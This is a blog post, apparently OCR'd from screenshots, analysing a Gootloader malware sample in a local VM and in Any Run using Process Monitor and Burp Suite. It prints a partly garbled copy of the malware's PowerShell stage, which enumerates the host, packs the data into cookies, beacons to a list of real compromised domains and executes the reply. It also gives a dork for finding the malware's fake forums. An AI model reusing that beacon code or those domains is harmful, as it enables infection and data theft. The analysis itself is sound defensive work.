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Detailed visualization of a cybersecurity workspace analyzing Gootloader malware.

BLUF:

The Gootloader isn’t broken (as previously posted on this site in: Gootkit is broken right now); this post
follows the analysis steps that @Gootloader's video shows us using Process Monitor and Burp Suite
Proxy_intercept.

Intro:

| used to routinely check on the @GootloaderSites Twitter Bot posts for up to date IOCs to search for. At
some point they were removed from Twitter, and | thought it was the end of it. Since I've started blogging
and doing more research during my off-duty time, I've been more immersed in the Twitter alternative —

Mastadon. I've found that the Twitter Bot moved to Mastadon under the same name @GootloaderSites. |
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was glad to see they’re still around! | reviewed their latest blog “My-Game Retired? Latest Changes to
Gootloader” where they discussed a lot of GREAT info, and shared a link to their Youtube video
“Gootloader Malware Technical Deep Dive“. This post documents following @GootloaderSites‘ steps in
their video.

Running in a local VM:

Followed steps from Gootloader Malware Technical Deep Dive by @Gootloader.

Ran my go-to dork to find a Gootloader fake forum: “site:*.it enterprise agreement”.

Downloaded a Gootloader sample direct from the source at https[:]//caputosfizinapoletani[.]it’enterprise-
agreement-ramsay-health. Interestingly, Firefox threw a warning.

G Not Secure caputosfizinapoletani.it

Warning: Potential Security Risk Ahead

Firefox detected an issue and did not continue to caputosfizinapoletani.it. The website is either
misconfigured or your computer clock is set to the wrong time.
What can you do about it?

Your computer clock is set to May 13, 2024. Make sure your computer is set to the correct date, time, and time zone in
your system settings, and then refresh caputosfizinapoletani.it.

eady set to the right time, it ikely misconfigured, and there is nothing you can do to
{ fy the website trator about the problem.

Go Back (Recommended) Advanced...

| uploaded it to VT if you wanted to see:
https://www.virustotal.com/gui/file/225053ce7e06b780e6acb968f3efc876ce329e37ff4cbfa716f960a8fcs5ba

77d/behavior

Downloaded Process Monitor, set the Process Name to contain script.
Downloaded Burpsuite, Enabled Proxy Intercept

Configured Windows manual proxy to go through Burp Suite (127.0.0.1:8080)
Configured the Powershell default profile to enable transcripts via “start-transcript”.
Executed the JS file.

Process Monitor shows it’s writing to “Interface Programming.dat”
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I Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options

Help

EEILNREN YAO &I L/ |He@o2H

TlneciDay Process Name

6:34:04 9640463 PM @ Wicript exe
6:34:04 5640553 PM @ WScrpt exe
6:34:04. 9641175 PM @ Wicript exe
6:34:04 5641535 PM g9 WScnpt sxe
6:34:04.9642011 PM @ Wicript exe
6:34:04 5642534 PM g9 WScnpt sxe
6.:34:04.9542602 PM g9 Wcript exe
6:34:04 5643154 PM g WScript exe
6:34:04 9643636 PM g9 Wcrpt exe
6:34:04.9644177 PM g9 WScrpt sxe
6:34:04 9644603 PM @ Wicript exe
6:34:04 5645030 PM g9 WScrpt exe
6:34:04 9645563 PM @ Wicript exe
6:34:04 5646005 PM g9 WScrpt exe
63404 9646445 PM g9 Wcript exe
6:34:04 5646821 PM g9 WScrpt exe
6:34:04 5647388 PM g9 Wcript exe
6:34:04 9647814 PM g9 WScrpt exe
6:34:04 9648225 PM @ Wcript exe
6:34:04 5648300 PM g9 WScrpt exe
6:34:04 5648785 PM @ WScript exe
6:34:04 9648854 PM g WScript exe
6:34:04 5643323 PM @9 WScript exe
6:34:04 9649352 PM @ WScript exe
6:34:04 9643876 PM g9 WScript exe:
6:34:04 9650374 PM g9 WScript exe
6:34:04 5650895 PM 48 WScnpt exe
6:34:04 9651323 PM @ Wcript exe
6:34:04 5651733 PM 9 WScrpt exe
6:34:04 9652145 PM g9 Wcript exe
6:34:04 5653023 PM 9 WScnpt exe
6:34:04 9653488 PM g9 Wcrpt exe
6:34:04 9653530 PM 48 WScnpt exe

PID Operation
3628 e WikeFie
3628 W WiteFle
3628 W WiteFle
3628 ' WiteFie
3628 W WiteFle
3628 ' WiteFie
3628 W WiteFle
3628 ' WiteFie
3628 ' WiteFie
3628 v WiteFie
3628 ' WiteFle
3628 ' WiteFie
3628 W WiteFle
3628 T WiteFie
3628 ' WiteFle
3628 ' WrieFie
3628 W WiteFle
3628 T WikeFie
3628 W WiteFle
3628 T WikeFie
3628 ' WiteRle
3628 ' WiteFie
3628 ' WiteRle
3628 T WikeFie

showing 20,844 of §,124,223 events (0.34%)

It looks like it creates “Multi-million Dollar.js”. At this point, I’'m not too savvy with reading Process Monitor
yet. In the future I'll research more and figure out how to give better explanations.

. me Monitor - Sysi .

Backed by virtual memory

Path
C:\Users'hermes 1'AppDataRoaming\Adobe \Inteface Programming dat
C:\Users\hermes 1" AppData'Roaming \Adobe \Interface Programming dat
C:\Users'hermes 1\ AppDiata Roaming\Adobe \Inteface Programming dat
C:\Users'\hermes 1" AppData'Roaming \Adobe \Interface Programming dat
C:\Users'hermes 1 AppData’ Roaming\Adobe \Inteface Programming dat
C:\Users\hermes 1'AppData'Roaming \Adobe \Interface Programming dat
C:\Users'hermes 1\ AppDataRoaming\Adobe \Inteface Programming dat
C:\Users\hermes 1'AppData'Roaming \Adobe \Interface Programming dat
C\Users hermes 1'AppData \Roaming \Adobe \inteface Programming dat
C:\Users'\hermes 1'AppData'Roaming \Adobe \Interface Programming dat
C:\Users‘hermes 1\ AppData’Roaming\Adobe \Inteface Programming dat
C:\Users'hemmes 1'AppData'Roaming \Adobe \Interface Programming dat
C\Users'hermes 1\ AppData’Roaming\Adobe \Inteface Programming dat
C:\Users‘hermes 1'App Data Roaming\Adobe'\Interface Programming dat
C\Users'hermes 1\ AppData’Roaming\Adobe \Inteface Programming dat
C:\Users'hermes 1'AppData’ Roaming \Adobe' Interface Programming dat
C\Users\hermes 1'AppData’\Roaming'\Adobe \Inteface Programming dat
C:\Users‘hermes 1'AppData Roaming\Adobe'\Interface Programming dat
Ci\Users\hermes 1'AppData’\Roaming'\Adobe \Inteface Programming dat
C:\Users'hermes 1'AppData‘ Roaming\Adobe'\Interface Programming dat
C\Users\hemes 1'AppData’\Roaming'\Adobe \Inteface Programming dat
C:\Users'hermes 1'AppData Roaming\Adobe \interface Programming dat
C\Users‘hermes 1\ AppData’ Roaming\Adobe \Inteface Programming dat
C:\Users'hermes 1'AppData Roaming\Adobe \interface Programming dat
Ci\Users'hemes 1'AppData’\Foaming'\Adobe \Interface Programming dat
C:\Users'hermes 1'AppData’ Roaming\Adobe \interface Programming dat
Ci\Users\hemes 1'AppData’\Roaming'\Adobe \Interface Programming dat
C:\Users'hermes 1'App Data Roaming\Adobe \interface Programming dat
C:\Users'henmes 1 AppData'\Roaming\Adobe \Interface Programming dat
C:\Uisers'hermes 1'AppDiata Roaming\Adobe \interface Programming dat
C\Users'hermes 1'AppData\Roaming \Adobe \Interface Programming dat
C:\Users'hermes 1'AppData Roaming\Adobe \interface Programming dat
C\Users hemmes 1'AppData\Roaming \Adobe \Interface Programming dat

File Edit Event Filter Tools Options

Help

BEIENRN YHAO &L H=-D22 M

T'lned[lay Process Name

6:34:05.2392092 FM dp WScript exe
6:34:05. 2392430 M ggp WiScript exe
6:34,05.2395783 PM @9 Wcript exe
6:34:05 2456350 PM gp WScript exe
6:34,05. 2460216 PM 9 WScnpt exe
6:34:05 2460470 PM ggp Wcript exe
6:34,05. 2460648 PM g9 WScnpt exe

6:34:05.2463622 PM g9 WScript exe
6:34:05.2463850 PM g9 WScript exe
6:34:05.2463559 PM g9 WScript exe
6:34:05 2464034 PM g WScript exe
6:34:05.2464186 PM g9 WScript exe
6:34:05 2464426 PM g9 WScript exe
6:34:05. 2464607 PM g WScript exe
6:34:05.2464915 PM g WScript exe
6:34:05. 2465110 PM o WSeript exe
6:34:05 2465445 PM g WScript exe
6:34:05. 2466402 PM g WScript exe
6:34:05.2466513 PM g WScript exe
6:34:05 2466754 PM g9 WScript exe
6:34:05. 2467060 PM g9 WScript exe
6:34:05. 2467973 PM g9 WScript exe
6:34:05.2468121 PM g9 WScript exe
6:34:05. 2468218 PM 9 WScript exe
6:34:05.2468381 PM g9 WScript exe
6:34:05 2468498 PM g9 WScript exe
6:34:05 2468658 PM g Wcript exe
| 634052468736 PM 8 WScnpt exe
| 6:34:05.2468868 PM g9 WScriot exe

PID Operation

3628 v WiteFile
3628 ¥

' GueryBasiclnformation File
Lol

3628 W IRP_MJ_CLOSE

628 W

3628 ' CreateRle

3628 ' CreateFie

3628 ' QueryDirectory

3628 CreateFie

3628 ' QueryAttribute TagFile
3628 ' QueryBasicinformation Fie
3628 ' CreateRle

3628 ' SetRenamelinformationFie
3628 W CloseRle

3628 W IRP_MJ_CLOSE

3628 T CloseFile

3628 W IRP_MJ_CLOSE

3628 ¥ QueryDrectory

3628 W CloseFile

3628 W IRP_MJ_CLOSE

628 ™

Showing 20,844 of 6,190,505 events (0.33%)

| couldn’t find the process in Process Monitor for the task scheduling part. | suspect | may need to modify
the Process Monitor filter. I'll figure that out later and provide updates. Here’s a snip of the Task that was

added.

Backed by virtual memory

Path
Ci\Users'hemes 1'/AppData'Roaming\Adobe \Interface Programming dat
C-\Windows'\System 32'jscript di
C\Windows'\System32'jscript dl

C-\Users‘\hemes 1" AppData'Aoaming Adobe' Multi-milion Dollar js
Ci\lsers hemes 1'App Data'Foaming \Adobe \Multi-milion Dollar js
C-\Users‘\hemes 1'AppData'Roaming \Adobe
C\Users'hemes 1'AppData’ Roaming' Adobe \Interface Programeming dat

C-\Users‘hermes 1'AppData’ Roaming\Adobe
C\Users'hemes 1'App Data'Foaming ' Adobe ' \Multi-milion Dollar js
C-\Users‘hemes 1'AppData’ Roaming\Adobe '\ Multi-milion Dallar js
C:\Users‘hemes 1'AppData’ Roaming\Adobe

C:\Users'henmes 1'App Data' Roaming Adobe

C\Users'hemes 1'AppData’Roaming'Adobe

i

Resut

FAST 10 DISALLOWED
SUCCESS
SUCCESS
FAST 10 DISALLOWED

UCCESS
FAST 10 DISALLOWED
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
FAST 10 DISALLOWED
SUCCESS
FAST 10 DISALLOWED
SUCCESS

FAST 10 DISALLOWED
SUCCESS

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

Result

SUCCESS
5UCCESS
SUCCESS
SUCCESS
FAST 10 DISALLOWED
SUCCESS

SUCCESS
SLCCESS

NAME NOT FOUND
FAST 10 DISALLOWED
SUCCESS

SUCCESS

SUCCESS

SUCCESS

FAST 10 DISALLOWED
NAME NOT FOUND
SUCCESS

SUCCESS

SUCCESS

SUCCESS

SUCCESS

SUCCESS

SUCCESS

SUCCESS

SUCCESS

SUCCESS

SUCCESS

NO MORE FILES
SUCCESS

SUCCESS

SUCCESS
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@ Task Scheduler
File Action View Help

% anmBm

() Task Scheduler iLocal)

® Sutace Tan. Ready AIogen ol @ o Trampertation Properties (Lol Comguter]

B Mame Seatus Triggers Mext Bun Time Last Foun Time Last Ruun Result
» Lo e (B Microsohtid., Resdy Mubtiple triggers defimed S/12024 E3X5TPM 51272004 6408 PM  The cperstion completed successhully, (a0
L MicroschtEd.. Reacy At E0% PM every day - After triggened, repeat svery 1 hour for a duration of 1day.  S122004 70557 PM 81272004 B0E10PM  The cpenation completed successiully. (fed)
{ OneDrive Re... Ready At 7:25PM on 5/11/2024 - g0 1 indefin 5122024 72503 PM 51272004 G0016PM  The operation completed successhully. ()
{5 OneDrive St... Reacly At 600 PM on 5/1/1992 - After triggrered, repeat every 1.00:0:00 imdefinitely. 5/13/2024 62525 PM_ 11/30/1999 1200:00 AM _ The task has not yet run. (nd1303)

| The cpeation comnpleted successluly. (t0)

Author

Microsoft O
Microscét O

‘Wher you creabe a task, you must specfy the 2chen that will ape = b= s tast e L ] New Folder_
Edit Actian 4 View
. e a
Start & progeam waeript MULT= 15 - H rep
Action:  Start 2 program v
| —————3 b
—— Settings
Genesal  Triggers Actions  Condition _ » R
Program/script: 8 &
Whan you create a tak, you must 5 wscript = .o
Action Details Add seguments (optionall: MULT-~ 15 Elpml_.
Stat a program wicript Startin (optionsll spOutatRosming\Adob] ;‘ Properties
Dedete
H rep
New- e
ok ] como
TBF - ”
ouum;wnny - Q Search ». [ 5 b ] - o i ’ f@ ! &_H

~ 8 Qun 2Ve 0

Here is a copy of the PS transcript below. The highlighted portion is the PS commands that are executed.
You can see below it, that it is timing out because I've got Burp Suite Interceptor on, and | haven’t pressed

any button yet.

Note that it doesn’t error out on the enumeration commands as it does in the Any Run sessions.

B Powershell_transcript HERMES Rl X +

File  Edit  View

At C:\Program Files\WindowsPowerShell\Modules\PSReadLine\2.8.@\PSReadLine.psml:4 char:5
+ [Microsoft.PowerShell.PSConsoleReadLine]: :ReadLine($host.Runspace ...

+

+ CategoryInfo
+ FullyQualifiedErrorld :
P5 C:\Users\hermesl\AppData'\Roaming'\Adobe:

dnmmrmnAn

r occurred on a recelve.™”

RIRRRIRRARZ

Ln 26, Col 227 2,226 of 6,704 characters

:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError():
:\Users'\hermesl\AppData\Roaming\Adobe> TerminatingError():
:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError():
:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError():
:\Users\hermes1\AppData‘\Roaming\Adobe> TerminatingError():
:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError()
:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError()
:\Users'hermesl\AppData\Roaming\Adobe> TerminatingError():

C:\Users\hermesl\AppData\Roaming\Adobe> TerminatingError():
PS (- \llcancharmac \Annfatal Rnami no\ ddnhas TerminatineFreoel )

: MotSpecified: (:) [], MethodInvocationException
NotSupportedException

"Exception calling "GetResp
"Exception calling "Get
"Exception calling "Get
“Exception calling "GetR
“Exception calling “GetResponse” with

"Exception calling "GetResp

"Fyrentinn ralline “Gat " with

“Exception calling “GetResponse” with
"Exception calling “GetResponse” with
"Exception calling "GetResponse” with

"8 argument(s):
: "The operation

" with

" with ™

" with

* with

"a" :rguunt(s]:

" with

(s):

f=h-

wp=
100%

"The operation has timed out™™
has timed out™”

: "The operation has timed out™"
: "The operation has timed out™~
“The operation has timed out™"
"The operation has timed ocut™"
): "The operation has timed out™"
"The underlying connection was

"The operation has timed out™™

"Tha nanaratinn hac timad not™"

Winddows (CRLF}

closed: An unexpected

UTF-8 with BOM

You can see there appears to be some questionable beaconing domains that should raise some flags. For
example, I'm assuming that domains 4, 8, and 9 are likely domains that don’t comply with corporate usage

policies.
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Here’s a snip of the Burp Suite Interceptor. | would like to see the packet output from this in a future
analysis. Take note of the previously observed enumeration data that is GZIPd and then B64 encoded into
the Cookie values. Also take note of the host field.

'E Bup Project  Intruder Repeater View  Help Burp Suite Community Edition v2024.3.1.4 - Temparary Project - (a] E
| oo Tl intruder  Repester  CoMaborator  Sequencer  Decoder  Comparer  logger  Organcer  Edensions  Leam & settings
| HIT® history WebSockets hastory ) Prosy settings
I
|'§ I Request to hitps/Mapvilie.com:443 [104.21.7.83]
Forward Dvop | irtercept s on | Adtien Open browser A et ¥ 3@ |
Raw Hex “@w = Inspectar o) = - @ x 8
GET / HTTR/L. L
Usse-hgest: Mozilla/S.0 (Windows WT 10.0; Wind; 264) AppleWeBNit/S37. 36 (FHTHL, like Gecko) Chrome/123.0.0.0 Safari/s37.36 Fi
Cockie: OSSP2882CDe Request attributes 3 v
R4 SHIALTA b b T4 T EIE Iy S LIRS AT e S, §
JAT=HFHGE InbErkE TR0 Fand Q3 AAALIL e B v
Reguest body parameters o L
CwbuRPSke Tgte FxGEaD Ak ORI JHEVIwL S ATRP Lol e TaWe s licOAVE IFWLYG FYREDGE Phc LB L mal Vi Bg0 Polila + qiih / Lubik) xlchblla
Che e u bt ETR 70 gY AT g L PATEDLCTARRF AL ERTE LR+ byt | Reguest cookies (RPN
gt Gk T4 et BTG e g
Mame Value s 2
SCOACEC0GE] stat s TihadS T d 034G/ S STGRATR NG LWGEICHY L gueldb et KTHPOVLCHDG L1 17 xZbod £ HT SGHME L/ w0e 0qB JxzRLUT INEGVIRTOMuAcg X I
/ 1hs AP/ TLULLALAAA dILAER; O o= 059F2592CD SgTHVRNHAIARAA. 3
EAGHOTU/DHAZA/ Op ARGUAGASRASS LPLY=0TRERT) T 251 S4THeAL QOVBETIGREILAZ S5 NCALMelzIHSERReZaCIVYY | oeooecoon F— 3
GTI0sEpinales t2ac B DR IDIRR £0VENTr LoT At ndns AT SPGHE Lyl DOWDET I quual =k yihal BeEARD 1 T5C hlh=n ; DD
30145 LAARARARTAIE) G2 E0% 3 0783 J MDACAChalte IHALALS 142 L Bx. 89F2582C02 SOToVpXHAsiAMAA.. 3
O8F2552CD3 SglpVpkHdslddaa.. ¥
58F2582C04 STRVERHASIARAL.., >
Il

-
<

Regquest headers

@AE €[> e £ | phaghlights

| Eventlog 2 ® il issues (@ Memary 120508

The host field is not in the RFC compliant place. RFC 7230 section 5.4
(https://datatracker.ietf.org/doc/html/rfc7230#section-5.4) states: “Since the Host field-value is critical
information for handling a request, a user agent SHOULD generate Host as the first header field following
the request-line.” as seen below.
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https://datatracker.ietf.org/doc/html/rfc7230#section-5.4

ietf.org

Host

The "Host" header field in a request provides the host and port
information from the target URI, enabling the origin server to
distinguish among resources while servicing requests for multiple
host names on a single IP address.

Host = uri-host [ ":" port ] ;

A client MUST send a Host header field in all HTTP/1.1 request
messages. If the target URI includes an authority component, then a
client MUST send a field-value for Host that is identical to that
authority component excludlng any userinfo subcomponent and its "@"
delimiter (5 . If the authority component is missing or
undefined for the target URI, then a client MUST send a Host header
field with an empty field-value.

Since the Host field-value is critical information for handling a
request, a user agent SHOULD generate Host as the first header field
following the request-line.

For example, a GET request to the origin server for
<http://www.example.org/pub/WWW/> would begin with:

GET /pub/WwWw/ HTTP/1.1
Host: www.example.oxg

If you observe PCAP with a GET request that shows the User-Agent field is a web browser, but it is not
RFC 7230 compliant, you should scrutinize it.

Running it in Any Run:

Here’s a snip from the Anyrun session showing the Gootloader Powershell script erroring out
(https://app.any.run/tasks/10a07fb3-6e8c-426f-a647-3f2b94eef7a9):
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https://app.any.run/tasks/10a07fb3-6e8c-426f-a647-3f2b94eef7a9

Bl Powershell_transcript.USER-PL2W3epv1F.2024051 3065237 .txt - Notepad JREIE |
Fle Edt Format View Help

T CTLELECLELLE] o

windows Powershell transcript start
start time: 20240513065237
Username: USER-PCh\admin
Runas user: USER-PChadmin
Machine: USER-PC (M'lcruso‘Ft windows NT 6.1.7601 service Pack 1)
Host application: powershell
Process ID: 3108
Psversion: 5.1.14409.1005
PsEdition: peskto
Pscompatibleversions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14409.1005
Buildversion: 10.0.14409.1005
)cLRversion: 4,0,30319.42000
[wsManstackversion: 3.0
PsRemotingProtocolversion: 2.3
serfalizationversion: 1.1.0.1
e e e e e e
Transcript started, output file s C:\usershadmin\Documents'\Powershell_transcript. USER-PC. 2wiepvlF. 2024051306523? txt
Ps C:\Usars amin\#ppoatawnamng\nozﬂ'la:v function pTIzxpt SEufyh){inva'l = Mew-Object ("Sy"+"s"+"t"+"em"+". 1" “emo"+"ry"+"strea"+"m"); $BVOPP =
New-— onlect "System, "+ '10. stream”+ wWrit s er )((New—onlect ¥ste +'m, 10, co"+"mpression. Gz + ﬁp +" srre +"am” J( val [Ne«—ob]ecr

"Syst’+"e"+"m. 10.C"+"omp "+ res "+ s 10"+ "n"+ ", Com " "p" e Tr M TessT e MonMo "+ 'd " e ) ) 1 1 ("C0 "+ mp "+ T eSS ")) $BVORP. n’rItE([strInG] :J0INC"| 1, $EUfyh E‘“

BvOPP. Close(); [sysTEm.CONvert] : 1 ("ToBase6d "+"s"+"trin"+"g" ) ($(8(230,4,226,201, &b, 3?) $wanvb 1, Toarray( 0(226 55,72,47,225 44)))}funct1on ovGghm($nxpl)
$kwglokp="059F2552CD"; iovr'lx = ( isfolder|shelL, aPpLIcatIOnINMESpdCEHtBﬂ‘SI15LINKINMEIIS1’ILE5}'51BI! J. s?'l (4 H sunuufup pT12><pt((d1r erw e
$_.value.Length -1t 99}| name+ " A"+§ \ra1uei})+( oswl-* -t(g\mi win32 Operat1ngS¥5tem) cap‘twnj) $ONR | @=pTIZXpt (GpS|selECt naMe -uniQue %
KUZVGX=pTIZXPT (GPS | where{$_. maTrnwINDOWTIT LEiH‘x{ AT :NDothLe){ ST=pTIZXp t (new-object —cum (sovrl [1])) §Snvr1y 2])(0) (iovr"ly 3]%
JI%{if(S (!avr'ly#*t])){ 0"+$_. (Sovrly[51) }elseif(s_. (SDW"I F )){ “1"+§, ($ovr y[5 }e1se1f(s Savr'Iy[G n{"2 0. PaT{ fiLenaME(S_ pl\t JteLse{ 3"+
$ovrly[s §zF aH‘I‘H-pTIZKﬂt QDR | where{$_.FreE —g‘r 50000{ %3 AME+"A"4$_. uSED}); [nET. servicEPoiNTmana ER]: secur‘ITynnomcn‘l =

NET, seCURIt)«'prUTDCOI.TY? iTLS1Z; [net. seRu1cEpOINtNan#GERg sEnvencsnuncatevnudaTwnca‘I]back ={§true}; ZFmbo-[SYStern NET. \d'EbrEQuesT] Create(inxp'lg
$ZTmb0. USERAGENT="Moz{] a,fS (1] L’_u"ln ows NT 10.0; wWingd; x64 pl:lﬂehehkﬁr/ﬁ? 36 (kHTML, Tike Gecko) chrome,/123.0.0.0 Safar1/53 ; §2fmbo. keepaL ivE=(0
§zfmbo. heaDers. add("cookie: SkwglokP=Sohqufdr; $kwglokp l=§oNR
sysTm 10, STREAMREADEr $Zfmb0.GETRESpONSE(). getresSpoNSESTREAM(); SvivoG=($ZgcayYt. RRADTORND

"); }IWhITECL) {TRY {DvGghm(e

" https f,-l"lyricsknuw cl:rn/ "https: ,-’/'hranmweehstanbu'l com/™ , htt s 1/ /wew, kuttentag. de/ “https://Fapville, con/™, "http://ahg. com. sa/", 51/ /wew. sachverstae
ndiger-fanster.net/", "https: //ana ru/", "https://hentai. v, https //procracks. net,/”, https //khabarpahad. com/™) | Gst-mnwn)}cn‘rr_h{} SLEEB -5 20}
Ps C: \Users\acimn\,ﬂppDataE\RDam"ng\"nzﬂ'la; Term1nat'ing£rrnr(uhere object): "Operator "==' cannot be applied to operands of type
system.Collections.DictionaryeEntry’ and '<null>’
> Ternﬂnu‘ingnrrnr(\nhere-object) "Operator "se' cannot be :ﬁp'l‘ied to operands of type 'System.Collectlons.pictionaryEntry’ and "<nulls'"
PS C:\usershadminiapppatairoaming\mozillas Terminatingerror( ere—objectg “"operator "==" Cannot be applied to operands of type

'system.collections. D‘Ict‘lonaryﬁntry and '<null>
»» Terminatingerror (where-object): "oOperator "==" cannot be applied to operands of type "sSystem.Collections.pictionaryentry’ and ‘enulls'"

e; SkwglokpP 2=fKUZvGx; slcu% okP 3=§cMfst; $kwglokp 4=§2PlanfH" ) $cha\‘t-n!hr OBJECT
)) -spLit (SkwglokP);iF($vivoG. count -gQ 3){Iex($vivoG[1l] -REPLACE

The last lines of the PowerShell transcript show the error. Because the PS executes in my local Win 11
VM, but it errors out in the Any Run Win 7 VM, | am speculating that their recent change might use PS
commands that don’t work in Win 7. In a previous post (https://malasada.tech/gootkit-is-broken-right-now/)

we discussed how the Gootloader PS stopped working. This post shows that previous post was incorrect.

This leads me to question if the Any Run’s $150 a month cost is worth it if I'm restricted to a Win 7 VM that
doesn’t execute the Gootloader PS. It's unfortunate because Any Run is VERY convenient for quick and
easy analysis — especially since they added the Script Tracer capabilities.

TODO:

In a future post, I'll dive into the following:

» Improving the Process Monitor filter,

» Creating filters in Burp Suite so that only the beaconing domains are intercepted,

» Running TOR on the local VM so that we can Forward the beacon packets and evaluate the
responses, and

» Doing a deep dive to evaluate the RFC 7230 Section 5.4 compliance for PS
System.Net.WebRequest to see if PCAP shows it is non-compliant.

Summary:

The Gootloader isn’t down as I've previously posted. You can perform simple analysis on a local VM
running Process Monitor and Burp Suite, with minimal configuration.

Post navigation
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